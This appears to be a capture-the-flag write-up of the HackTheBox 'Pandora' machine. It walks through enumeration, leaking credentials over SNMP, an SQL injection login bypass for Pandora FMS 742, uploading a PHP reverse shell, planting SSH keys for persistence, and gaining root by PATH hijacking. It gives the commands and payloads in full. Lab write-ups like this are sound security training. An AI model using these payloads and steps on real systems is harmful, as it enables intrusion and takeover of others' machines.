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Pandora
First, let's scan for open ports using
nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.136 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.136.PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
| 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Scan for UDP services with
sudo nmap -p- -sU -r -T5 10.10.11.136 -v (-r specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.):Scanning pandora.htb (10.10.11.136) [65535 ports]
Warning: 10.10.11.136 giving up on port because retransmission cap hit (2).
Discovered open port 161/udp on 10.10.11.136
Increasing send delay for 10.10.11.136 from 0 to 50 due to 11 out of 19 dropped probes since last increase.
UDP Scan Timing: About 0.86% done
So, port
161/udp is open.Let's brute force directories with
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.136/FUZZ:.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
assets [Status: 301, Size: 313, Words: 20, Lines: 10]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
This doesn't find anything useful. Using the larger
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt wordlist also doesn't find anything useful.The site mentions
panda.htb, so we'll add that to our /etc/hosts file with echo "10.10.11.136 panda.htb" | sudo tee -a /etc/hosts. Trying to find other possible virtual hosts with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://panda.htb -H "Host: FUZZ.panda.htb" -fl 908 for both panda.htb and pandora.htb does not yield any results.Let's scan port
161/udp individually with nmap by running sudo nmap -p161 -sU -T5 -sC -sV 10.10.11.136 > nmap_port161udp_scan.txt: nmap_port161udp_scan.txt. This scan is quite large, which is why we pipe it into a file.The scan shows that we're dealing with Simple Network Management Protocol (SNMP), which "is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...)" (quote from HackTricks). According to HackTricks, "MIB stands for Management Information Base and is a collection of information organized hierarchically. These are accessed using a protocol such as SNMP... OIDs stands for Object Identifiers. OIDs uniquely identify managed objects in a MIB hierarchy." You can read the HackTricks page on SNMP for more information.
In order to access the information saved on the MIB, we need to know the community string in version 1 of SNMP. This acts as a sort of password but it is sent in plain text. By default, SNMP's read only functions use the community string
public.To enumerate SNMP, we’ll use
snmpwalk. snmpwalk attempts to walk through all of the available MIBs and retrieve the information. "Before running our snmpwalk command, we should install snmp-mibs-downloader. This package will install all of the MIB files that aren’t included by default due to licensing issues" (quote from epi052.gitlab.io). We will run sudo apt-get install snmp-mibs-downloader; sudo download-mibs to get the MIB files.According to i052.gitlab.io, "after installing the package, we need to comment out the
mibs : line in /etc/snmp/snmp.conf. Doing this configures snmp to use the freshly downloaded MIBs."Finally, we can enumerate SNMP with
snmpwalk -Os -c public -v 1 10.10.11.136. This will output a lot of data, so redirecting to a file is recommended: complete_snmpwalk_output.txt.Anyway, the piece of information we are looking for is contained in both the
snmpwalk output and the nmap output because we used -sC to run scripts (specifically the snmp-processes nmap script was run). Looking at process id 855 in either script's output shows /bin/sh being ran withe parameters -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23':| 855:
| Name: sh
| Path: /bin/sh
| Params: -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
Running
ssh [email protected] and using HotelBabylon23 as the password to login works.Running
cat /etc/passwd shows that the user with id 1000 is matt. The user.txt flag is in matt's home folder, which we can see by running ls /home/matt.We login over SSH to the
daniel user with pwncat by running pwncat-cs [email protected].Let's check out the process that was being run that gave us the login information. Running the same command
/usr/bin/host_check -u daniel -p HotelBabylon23 produces:PandoraFMS host check utility
Now attempting to check PandoraFMS registered hosts.
Files will be saved to ~/.host_check
cat ~/.host_check:1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3cbb9846fbe944772d913fcfc69;3
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3
Looks like there is a service running on
localhost.localdomain. Let's see what it is with curl localhost.localdomain, which shows <meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">. Running curl localhost.localdomain/pandora_console/ displays a whole website. Running (netstat -punta || ss --ntpu) | grep "127.0" to list open local ports doesn't show anything out of the ordinary so this web sever must be running as a different user:(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
udp 0 0 127.0.0.1:56972 127.0.0.53:53 ESTABLISHED -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
So, let's check out
/var/www/ since we know this machine is using Apache due to our first nmap scan. There are two folders in /var/www/: html, which contains the original website we accessed on port 80, and pandora, which contains the new site we found running locally.Listing the contents of this directory with
ls -la pandora_console/ shows a lot of files owned by matttotal 1596
drwxr-xr-x 16 matt matt 4096 Dec 7 14:32 .
drwxr-xr-x 3 matt matt 4096 Dec 7 14:32 ..
-rw-r--r-- 1 matt matt 3746 Jan 3 2020 ajax.php
drwxr-xr-x 6 matt matt 4096 Dec 7 14:32 attachment
-rw-r--r-- 1 matt matt 1175 Jun 17 2021 audit.log
-rw-r--r-- 1 matt matt 534 Jan 3 2020 AUTHORS
-rw-r--r-- 1 matt matt 585 Jan 3 2020 composer.json
-rw-r--r-- 1 matt matt 16003 Jan 3 2020 composer.lock
-rw-r--r-- 1 matt matt 14875 May 17 2019 COPYING
-rw-r--r-- 1 matt matt 506 Jan 3 2020 DB_Dockerfile
drwxr-xr-x 2 matt matt 4096 Dec 7 14:32 DEBIAN
-rw-r--r-- 1 matt matt 3366 Jan 3 2020 docker_entrypoint.sh
-rw-r--r-- 1 matt matt 1263 Jan 3 2020 Dockerfile
drwxr-xr-x 11 matt matt 4096 Dec 7 14:32 extensions
drwxr-xr-x 4 matt matt 4096 Dec 7 14:32 extras
drwxr-xr-x 2 matt matt 4096 Dec 7 14:32 fonts
drwxr-xr-x 5 matt matt 4096 Dec 7 14:32 general
drwxr-xr-x 20 matt matt 4096 Dec 7 14:32 godmode
drwxr-xr-x 21 matt matt 36864 Dec 7 14:32 images
drwxr-xr-x 21 matt matt 4096 Dec 7 14:32 include
-rw-r--r-- 1 matt matt 52704 Dec 2 12:06 index.php
-rw-r--r-- 1 matt matt 42398 Jan 3 2020 install.done
drwxr-xr-x 5 matt matt 4096 Dec 7 14:32 mobile
drwxr-xr-x 15 matt matt 4096 Dec 7 14:32 operation
-rw-r--r-- 1 matt matt 1302 Feb 22 02:52 pandora_console.log
-rw-r--r-- 1 matt matt 234 May 17 2019 pandora_console_logrotate_centos
-rw-r--r-- 1 matt matt 171 May 17 2019 pandora_console_logrotate_suse
-rw-r--r-- 1 matt matt 222 May 17 2019 pandora_console_logrotate_ubuntu
-rw-r--r-- 1 matt matt 4883 May 17 2019 pandora_console_upgrade
-rw-r--r-- 1 matt matt 1168598 Jan 3 2020 pandoradb_data.sql
-rw-r--r-- 1 matt matt 160283 Jan 3 2020 pandoradb.sql
-rw-r--r-- 1 matt matt 476 Jan 3 2020 pandora_websocket_engine.service
drwxr-xr-x 3 matt matt 4096 Dec 7 14:32 tests
drwxr-xr-x 2 matt matt 4096 Dec 7 14:32 tools
drwxr-xr-x 11 matt matt 4096 Dec 7 14:32 vendor
-rw-r--r-- 1 matt matt 4856 Jan 3 2020 ws.php
So, the new web server is running under
matt's user so this is almost certainly our lateral movement vector.Running
cat /etc/apache2/sites-enabled/pandora.conf to look at the Apache confiuration for this site shows that it is indeed running under the matt user:<VirtualHost localhost:80>
ServerAdmin [email protected]
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
This file also lets us know that it is running locally on port
80. So, let's forward that to our attack machine with ssh -L 8080:localhost:80 [email protected]. Now, navigating to http://localhost:8080/pandora_console/ brings us to a login page.Trying to authenticate using the only set of credentials we have
daniel:HotelBabylon23 results in a message appearing that says "User only can use the API."It looks like PandoraFMS is a legit product. Searching for the version string at the bottom of the page finds CVE-2020-5844, but it looks like this requires us to be an "authenticated administrator," which we are not. We also find the metasploit module pandora_fms_events_exec. However, " Valid credentials for a Pandora FMS account are required."
Searching for "pandora fms 742 exploit" finds Pandora FMS 742: Critical Code Vulnerabilities Explained, which mentions a SQL Injection pre authentication exploit (CVE-2021-32099): "Our focus is on a severe SQL injection vulnerability. It can be remotely exploited without any access privileges and enables an attacker to completely bypass the administrator authentication. This enables in the end to execute arbitrary code on the system." CVE-2021-32099 is "a SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php session_id parameter, leading to a login bypass."
POC : http://localhost:8000/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271
We can change the port from the proof of concept from
8000 to 8080 since that is what we are using. Now, going to http://localhost:8080/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271 in your browser and then navigating back to http://localhost:8080/pandora_console/ will log you into PandoraFMS as an administrator. A video of this happening can be seen on the blog post linked from the repo: Pandora FMS 742: Critical Code Vulnerabilities Explained.Clicking on
admin in the top right brings you to a page where you can edit your user's details. I changed the password to admin and then clicked "Update" at the bottom.Now that we have the credentials to an account, let's try some of the previous exploits we found. For metasploit, run the following:
sudo msfconsole
use exploit/linux/http/pandora_fms_events_exec
set password admin
set rport 8080
set rhosts localhost
set lhost tun0
set autocheck false
run
This exploit fails. The exploit
linux/http/pandora_ping_cmd_exec also fails even after I created a new user in the interface. This exploit-db script fails as well. Also, TheCyberGeek/CVE-2020-5844 fails too. TheCyberGeek's script probably is supposed to work since he is one of the creators of this box. Additionally, after solving the box, I found this repo: shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated. So, this exploit might also work.Since we are an administrator we can upload files by going to
Admin tools > File manager on the left. So, lets get a PHP reverse shell with wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php, edit in our ip address and port, start a listener with nc -nvlp 28600 and then go to http://localhost:8080/pandora_console/images/php-reverse-shell.php on the server to get a reverse shell. This is successful!We can get persistance with
run implant.authorized_key key=/home/kali/.ssh/id_rsa in pwncat. I set the permissions of the .ssh folder to be what they should be with chmod 700 .ssh && chmod 600 .ssh/authorized_keys.We can finally run
cat /home/matt/user.txt to get the user.txt flag.First, we connect with
pwncat-cs [email protected] --identity /home/kali/.ssh/id_rsa for a stable shell. I use pwncat and upload LinPEAS with upload linpeas.sh then run it with bash linpeas.sh.In the LinPEAS output we see:
Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup
-rw-r----- 1 root matt 33 Feb 22 02:52 /home/matt/user.txt
Running
ls -la /usr/bin/pandora_backup shows that this is a SUID binary. Running the actual /usr/bin/pandora_backup script appears to create a tar archive of the /var/www/pandora/pandora_console/ directory.We can run
download /usr/bin/pandora_backup to download it to our local machine with pwncat since the target machine does not have the strings command.Running
strings pandora_backup shows tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/* in the output. So, it looks like it is just running the tar binary from a relative path. We can create a new file called tar in our home directory that simply runs /bin/bash with mkdir ~/bin; echo "/bin/bash" > ~/bin/tar. Set the new "tar" file to executable with chmod +x ~/bin/tar. Now, we can add that to our path ahead of any other directory with export PATH=/home/matt/bin:$PATH. Now, we can run the SUID binary again: /usr/bin/pandora_backup.Finally, we run
cat /root/root.txt to get the root.txt flag.We can get persistance as root with
run implant.authorized_key key=/home/kali/.ssh/id_rsa in pwncat.Last modified 1yr ago